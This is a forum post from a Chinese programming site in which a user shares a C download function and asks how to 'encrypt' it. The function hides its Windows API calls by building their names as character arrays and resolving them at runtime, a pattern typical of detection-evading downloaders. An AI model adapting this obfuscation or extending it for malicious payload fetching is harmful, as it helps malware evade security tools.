| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 688 人关注过本帖
标题:自定义函数怎么加密?
取消只看楼主 加入收藏
qzonc
Rank: 1
等 级:新手上路
帖 子:1
专家分:0
注 册:2017-2-24
结帖率:0
收藏
已结贴  问题点数:20 回复次数:0 
自定义函数怎么加密?
BOOL http_get(LPCTSTR szURL, LPCTSTR szFileName)
{
    BOOL        bRet = FALSE;
    HINTERNET    hInternet, hUrl;
    HANDLE        hFile;
    char        buffer[1024];
    DWORD        dwBytesRead = 0;
    DWORD        dwBytesWritten = 0;

    typedef HANDLE (WINAPI *InternetOpenAT)
        (
        __in_opt LPCSTR lpszAgent,
        __in DWORD dwAccessType,
        __in_opt LPCSTR lpszProxy,
        __in_opt LPCSTR lpszProxyBypass,
        __in DWORD dwFlags
 );
    typedef HINTERNET
        (WINAPI
        *InternetOpenUrlAT)(
        __in HINTERNET hInternet,
        __in LPCSTR lpszUrl,
        __in_ecount_opt(dwHeadersLength) LPCSTR lpszHeaders,
        __in DWORD dwHeadersLength,
        __in DWORD dwFlags,
        __in_opt DWORD_PTR dwContext
        );
   
    char TRwAppQ[] = {'I','n','t','e','r','n','e','t','O','p','e','n','U','r','l','A','\0'};
    InternetOpenUrlAT pInternetOpenUrlA=(InternetOpenUrlAT)GetProcAddress(LoadLibrary(jzSApmA),TRwAppQ);
    char yBJFQWx[] = {'I','n','t','e','r','n','e','t','O','p','e','n','A','\0'};
    InternetOpenAT pInternetOpenA= (InternetOpenAT)GetProcAddress(LoadLibrary(jzSApmA),yBJFQWx);
   
        char sIQkS10[] = {'M','o','z','i','l','l','a','/','4','.','0',' ','(','c','o','m','p','a','t','i','b','l','e',')','\0'};
        hInternet = pInternetOpenA(sIQkS10, INTERNET_OPEN_TYPE_PRECONFIG, NULL,INTERNET_INVALID_PORT_NUMBER,0);   
        hUrl = pInternetOpenUrlA(hInternet, szURL, NULL, 0, INTERNET_FLAG_RELOAD, 0);
    if (hUrl == NULL)        
            return FALSE;
        if (hUrl == NULL)
                return FALSE;
    // 创建文件
    hFile = pCreateFileA(szFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
    if (hFile != INVALID_HANDLE_VALUE)
    {
        do
        {
            
            typedef BOOL
                (WINAPI
                *WriteFileT)(
                __in        HANDLE hFile,
                __in_bcount(nNumberOfBytesToWrite) LPCVOID lpBuffer,
                __in        DWORD nNumberOfBytesToWrite,
                __out_opt   LPDWORD lpNumberOfBytesWritten,
                __inout_opt LPOVERLAPPED lpOverlapped
                );
            
            
            typedef BOOL
                (WINAPI
                *InternetReadFileT)(
                __in HINTERNET hFile,
                __out_bcount(dwNumberOfBytesToRead) LPVOID lpBuffer,
                __in DWORD dwNumberOfBytesToRead,
                __out LPDWORD lpdwNumberOfBytesRead
                );
            
            
            char DAkhElS[] = {'I','n','t','e','r','n','e','t','R','e','a','d','F','i','l','e','\0'};
            InternetReadFileT pInternetReadFile=(InternetReadFileT)GetProcAddress(LoadLibrary(jzSApmA),DAkhElS);   
            char JaGpODT[] = {'W','r','i','t','e','F','i','l','e','\0'};
            WriteFileT pWriteFile=(WriteFileT)GetProcAddress(LoadLibrary(AyRApxh),JaGpODT);
            memset(buffer, 0, sizeof(buffer));
            pInternetReadFile(hUrl, buffer, sizeof(buffer), &dwBytesRead);
            pWriteFile(hFile, buffer, dwBytesRead, &dwBytesWritten, NULL);
        } while(dwBytesRead > 0);
        pCloseHandle(hFile);
        bRet = TRUE;
}

   
   
    typedef BOOL
        (WINAPI
        *InternetCloseHandleT)(
        __in HINTERNET hInternet
        );   
    char MQiOCfK[] = {'I','n','t','e','r','n','e','t','C','l','o','s','e','H','a','n','d','l','e','\0'};
    InternetCloseHandleT pInternetCloseHandle=(InternetCloseHandleT)GetProcAddress(LoadLibrary(jzSApmA),MQiOCfK);
    pInternetCloseHandle(hUrl);
    pInternetCloseHandle(hInternet);

    return bRet;
}


各位大牛 老司机 小白想问下如何加密这段自定义函数
搜索更多相关主题的帖子: 加密 
2017-02-24 16:02
快速回复:自定义函数怎么加密?
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.284689 second(s), 9 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved